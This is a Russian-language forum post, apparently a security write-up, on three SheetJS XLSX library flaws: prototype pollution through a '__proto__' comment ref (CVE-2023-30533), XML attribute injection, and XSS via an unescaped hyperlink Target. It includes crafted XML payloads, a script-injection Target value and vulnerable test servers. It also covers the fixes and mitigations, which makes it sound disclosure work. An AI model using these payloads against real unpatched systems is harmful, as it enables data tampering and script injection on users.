• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Как работают уязвимости в библиотеке SheetJS

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Пакет XLSX, выпущенный компанией SheetJS, широко используется разработчиками для взаимодействия с электронными таблицами в форматах XLSX и XLSM, в том числе применяется в корпоративных продуктах. Анализируя пакет, мы нашли несколько уязвимостей. В этой статье я покажу, как они возникли и как их может эксплуатировать злоумышленник.

Давай вкратце посмотрим, как работает SheetJS. Когда файл электронной таблицы XLSX передается функции XLSX.readFile, происходит следующее:
  • Функция проверяет тип файла, анализируя первые байты заголовка. Если тип файла распознан как ZIP-архив, процесс продолжается.
  • Файл архива распаковывается в память процесса, что позволяет работать непосредственно с XML-файлами, описывающими структуру и данные электронной таблицы, а также с другими ресурсами, включая изображения и шрифты.
  • Парсер, встроенный в библиотеку, начинает разбор XML-тегов. Он анализирует структуру файла и извлекает необходимые данные, такие как значения ячеек, форматирование и другие свойства таблицы.
  • Полученные данные обычно представляются в виде удобных структур, таких как массивы или объекты, чтобы их можно было легко использовать в приложении.

LIMITED PROTOTYPE POLLUTION​

Описание недостатка​

Уязвимость, связанная с ограниченным загрязнением прототипа (Limited Prototype Pollution), возникает при обработке комментариев внутри загруженного документа в функции cmntcommon. В ней присваивается значение объекта по ключу, который может контролироваться пользователем.
Код:
else sheet[comment.ref] = cell;
Для дальнейшего анализа важно понимать, что такое comment.ref. Это значение попадает в код из файла threadedCommentXXX.xml (где XXX — номер документа с комментариями). Пример:
Код:
<threadedComment ref="G7" dT="2023-04-11T09:41:09.71" personId="{29DB960B-0822-594C-AB20-3D499FA339C7}" id="{962D1EF3-37F7-FF40-983D-B0762466C0AF}">
Обычно, когда файл создается в редакторе электронных таблиц, это не вызывает проблем, так как адреса ячеек редактор сгенерирует автоматически и это будут допустимые значения.

Однако разработчики пакета XLSX не учли, что злоумышленник может вручную создать файл XLSX с произвольным содержимым и специально сформировать адреса ячеек.
Код:
7z x normal.xlsx
; Вносим изменение в желаемые файлы
Код:
7z a NotNormal.zip ./\[Content_Types\].xml _rels/ docProps/ xl
mv NotNormal.zip NotNormal.xlsx
Для успешной эксплуатации загрузим обычный файл, но с таким threadedComment:
Код:
<threadedComment ref="__proto__" dT="2023-04-11T09:41:09.71" personId="{29DB960B-0822-594C-AB20-3D499FA339C7}" id="{962D1EF3-37F7-FF40-983D-B0762466C0AF}">
В таком случае значение comments.ref будет равно __proto__, а cell будет содержать Object prototype.

Далее в коде функции находим обращение к cell:
Код:
if (!cell.c) cell.c = [];
Так как переменная содержит prototype, то массив запишется в свойство c прототипа объекта. Это приведет к тому, что при дальнейших проверках все комментарии будут записываться в один массив, так как значение cell.c будет всегда определено. Разработчикам следовало использовать такую конструкцию:
Код:
if (!cell.hasOwnProperty("c")) cell.c = [];
Давай набросаем доказательство концепции:
Код:
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
const XLSX = require("xlsx");
// Middleware для обработки файлов
app.use(fileUpload());
// Получение POST-запроса c обработкой загруженного файла
app.post('/process', function(req, res) {
    if (!req.files || Object.keys(req.files).length === 0) {
        return res.status(400).send('Не найдены загруженные файлы.');
    }
  // Получение загруженного файла
    const uploadedFile = req.files.file;
    let a = XLSX.read(uploadedFile.data);
    /*
        Далее может следовать любая обработка файла и т. д.
    */
    res.send('Файл успешно обработан.');
});
// Обработка GET-запроса c выдачей простого документа
app.get('/getSample', function(req, res) {
    var ws = XLSX.utils.aoa_to_sheet([["SheetJS"], [5433795],[123123]]);
    var wb = XLSX.utils.book_new();
    XLSX.utils.book_append_sheet(wb, ws, 'Sheet1');
    const xlsxData = XLSX.write(wb, { type: 'buffer' });
    // Возврат обработанного файла
    res.set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
    res.set('Content-Disposition', 'attachment; filename="processed_file.xlsx"');
    res.send(xlsxData);
});
// Запуск сервера
app.listen(3000, function() {
  console.log('Сервер запущен на порте 3000');
});
Этот скрипт принимает файл для обработки на эндпоинте /process, а при запросе /getSample возвращает пример обычного файла XLSX (который не содержит комментариев).

Сделаем несколько запросов на сервер. Сначала обратимся к /getSample и откроем файл, чтобы просмотреть его содержимое:
Код:
$ curl http://localhost:3000
/getSample -o sample.xlsx
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--100 22023  100 22023    0     0  1312k      0 --:--:-- --:--:-- --:--:-- 1955k
$ open sample.xlsx
Содержимое открытого файла


А теперь выполним серию запросов с нашим специальным файлом:
Код:
$ curl -X POST --form file=@
/Users/slonser/hack_xslsx/slon.xlsx http://localhost:3000/process


Файл успешно обработан.⏎
$ curl http://localhost:3000
/getSample -o sample.xlsx
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--100 22023  100 22023    0     0  1312k      0 --:--:-- --:--:-- --:--:-- 1955k
$ open sample.xlsx
Текущее содержимое файла


Реакция разработчиков​

В версии 0.19.3 пакета XLSX разработчики постарались устранить этот баг. Они добавили такую проверку:
Код:
var r = decode_cell(comment.ref);
if(r.r < 0 || r.c < 0) return;
Теперь, если comment.ref содержит невалидное название ячейки таблицы, выполнение функции прервется.

Багу выдан идентификационный номер CVE-2023-30533.

МОДИФИКАЦИЯ ФАЙЛОВ PERSON И THREADEDCOMMENT​

Описание недостатка​

Мы продолжили изучать функции, связанные с комментариями, и обнаружили возможность модифицировать файлы person и threadedComment внутри ZIP-архива.

Дело в том, что при создании файлов XLSX-атрибуты тегов внутри XML-структуры всегда обрамляются двойными кавычками. Пример:
Код с оформлением (BB-коды):
<comments xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" ...
В функции parsexmltag, которая отвечает за парсинг тегов, для извлечения значений атрибутов используется такое регулярное выражение:
Код:
var attregexg=/([^"\s?>\/]+)\s*=\s*((?:")([^"]*)(?:")|(?:')([^']*)(?:')|([^'">\s]+))/g;
Оно явно откуда‑то скопировано и реализует полный парсинг атрибутов в соответствии со стандартом RFC 5364. Здесь учтено, что атрибуты могут быть в двойных или в одинарных кавычках.

Теперь посмотрим функцию, которая отвечает за запись в theradedComment:
Код:
o.push(writextag('threadedComment', writetag('text', c.t||""), tcopts));
...
return o.join("");
Тут ясно видно, что все части XML-документа собираются в массив, а затем объединяются в одну строку. Но в этом процессе нет фильтрации данных, поступающих в функцию writetag. Давай посмотрим, что у нее внутри:
Код:
function writetag(f,g) { return '<' + f + (g.match(wtregex)?' xml:space="preserve"' : "") + '>' + g + '</' + f + '>'; }
Здесь понятно, что наши данные превращаются в теги, но без предварительной фильтрации или проверки.
Код:
function write_people_xml(people/*, opts*/) {
    var o = [XML_HEADER, writextag('personList', null, {
        'xmlns': XMLNS.TCMNT,
        'xmlns:x': XMLNS_main[0]
    }).replace(/[\/]>/, ">")];
    people.forEach(function(person, idx) {
        o.push(writextag('person', null, {
            displayName: person,
            id: "{54EE7950-7262-4200-6969-" + ("000000000000" + idx).slice(-12) + "}",
            userId: person,
            providerId: "None"
        }));
    });
    o.push("</personList>");
    return o.join("");
}
В функции write_person_xml тоже нет фильтрации данных.

Используем уже готовый код сервера с уязвимой версией XLSX, чтобы подтвердить наличие проблемы.

Изменим файл person.xml следующим образом:
Код:
<personList xmlns="http://schemas.microsoft.com/office/spreadsheetml/2018/threadedcomments" xmlns:x="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><person displayName='" Slonser="SolidLab' id="{29DB960B-0822-594C-AB20-3D499FA339C7}" userId="" providerId="AD"/></personList>
Как видно, displayName указан внутри одинарных кавычек. Отправим этот файл:
Код:
$ curl -X POST --form file=@/solidlab.xlsx http://local
host:3000/process

Файл успешно обработан.
$ curl http://localhost:3000/getSample -o solidlab1.xlsx
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 21760  100 21760    0     0  1561k      0 --:--:-- --:--:-- --:--:-- 2125k
Теперь распакуем архив и просмотрим person.xml:
Код:
><person displayName="SheetJ5" id="{54EE7950-7262-4200-6969-000000000000}" userId="SheetJ5" providerId="None"/><person displayName="" Slonser="SolidLab" id="{54EE7950-7262-4200-6969-000000000001}" userId="" Slonser="SolidLab"
Тегу <threadedComment> был добавлен атрибут Slonser со значением SolidLab. Такого атрибута нет в стандартной структуре файлов формата XLSX.

Важный момент: для эксплуатации этого бага не требуется загружать файлы с комментариями. Если загрязнение прототипа уже произошло, то достаточно, чтобы имелась функция добавления комментариев.

В совокупности с багом, который мы обсуждали в первой части статьи, это приводит к изменению структуры XML-файла во всех следующих обрабатываемых файлах XLSX.

Изменение структуры XML может привести к различным проблемам, таким как:
  • нарушение формата файла. Изменение структуры XML может дать неверный формат XLSX и, соответственно, ошибки при попытке его открыть или обработать;
  • потеря данных. Изменение структуры XML может привести к потере или некорректному отображению данных в файле XLSX. Можно потерять данные в таблице;
  • несоответствие ожидаемому поведению. Если приложение, использующее файлы XLSX, полагается на определенную структуру XML, то изменение этой структуры может привести к непредсказуемому поведению приложения. Как следствие — ошибки, некорректные вычисления или другие проблемы.

Реакция разработчиков​

Этот недостаток не был исправлен. По мнению разработчиков пакета, баг не несет серьезных угроз безопасности вне контекста Prototype Pollution.

XSS​

Описание недостатка​

Последний недостаток, который мы нашли в пакете XLSX, — уязвимость, связанная с межсайтовым скриптингом (XSS) в функции преобразования документа в HTML.

В коде функции make_html_row можно заметить следующую строку:
Код:
if(cell.l && (cell.l.Target || "#").charAt(0) != "#") w = '<a href="' + cell.l.Target +'">' + w + '</a>';
Вызов cell.l.Target записывается в атрибут href без какой‑либо фильтрации. Следовательно, из этого вызова можно выйти при загрузке файла. Достаточно использовать трюк из прошлой части.

Давай воспроизведем этот баг. Вот серверный код, который будет обрабатывать XLSX и отправлять клиенту сгенерированный HTML:
Код:
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
const XLSX = require("xlsx");
// Middleware для обработки файлов
app.use(fileUpload());
// Принимаем POST-запрос и обрабатываем загружаемый файл
app.post('/process', function(req, res) {
    if (!req.files || Object.keys(req.files).length === 0) {
        return res.status(400).send('Не найдены загруженные файлы.');
    }
  // Получаем загруженный файл
    const uploadedFile = req.files.file;
    let a = XLSX.read(uploadedFile.data);
    console.log(a)
    res.send(XLSX.utils.sheet_to_html(a.Sheets.Sheet1));
});
// Запускаем сервер
app.listen(3000, function() {
    console.log('Сервер запущен на порте 3000');
});
Для демонстрации XSS нужно:
  • создать простой файл Excel и добавить ссылку на внешний ресурс в любую ячейку;
  • распаковать файл Excel, чтобы иметь возможность редактировать его содержимое;
  • в файле ./xl/worksheets/_rels/sheet1.xml.rels изменить атрибут Target на следующее значение:
    Target='https://solidlab.ru/"><script>alert("Hello from SolidLab")</script>'
  • запаковать файл обратно в формат XLSX;
  • отправить запрос с измененным файлом на сервер, который обрабатывает файлы XLSX.
При выполнении этих шагов ты увидишь, что инъекция XSS будет выполнена при открытии файла.


Реакция разработчиков​

Разработчики постарались устранить эту уязвимость в версии пакета XLSX 0.19.3. Теперь данные из Target проходят фильтрацию в функции escapehtml:
Код:
if(cell.l && (cell.l.Target || "#").charAt(0) != "#") w = '<a href="' + escapehtml(cell.l.Target) +'">' + w + '</a>';
CVE этому багу не присвоили.

ВЫВОДЫ​

Итак, мы подробно рассмотрели ряд уязвимостей в пакете XLSX. Тут тебе и ограниченное загрязнение прототипа, и уязвимость межсайтового скриптинга (XSS).
Если ты в своей программе используешь XLSX, это может привести к ряду рисков:
  • при чтении недоверенных файлов XLSX возможна кража или модификация данных, кража чужих данных и увеличение нагрузки на сервер;
  • при преобразовании недоверенных файлов XLSX в HTML (или принятия данных ячейки из недоверенных источников) возможна эксплуатация межсайтового скриптинга и кража данных пользователей.

РЕКОМЕНДАЦИИ​

Чтобы не сталкиваться с описанной проблемой, я рекомендую следующее:
  1. Обновление ПО. Настоятельно советую обновить пакет XLSX до версии 0.19.3 или более поздней, где эти уязвимости уже устранены.
  2. Валидация входных данных. Нужно уделить особое внимание валидации всех входных данных, передаваемых в функции XLSX. Это сделает приложение в целом намного безопаснее.
  3. Профилактика Prototype Pollution. Для предотвращения Prototype Pollution следует избегать прямого использования пользовательских входных данных в качестве ключей объекта. Если это неизбежно, рассмотри возможность применить механизм защиты, такой как фильтрация ключей или блокирование доступа к прототипам.
  4. Использование механизмов безопасности. По возможности применяй Content Security Policy для дополнительной защиты от XSS-атак.
Надеюсь, этот текст поможет тебе защитить свое приложение или успешно попентестить чужое, чтобы выдать эти рекомендации ответственным за разработку.

Автор slonser
источник
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх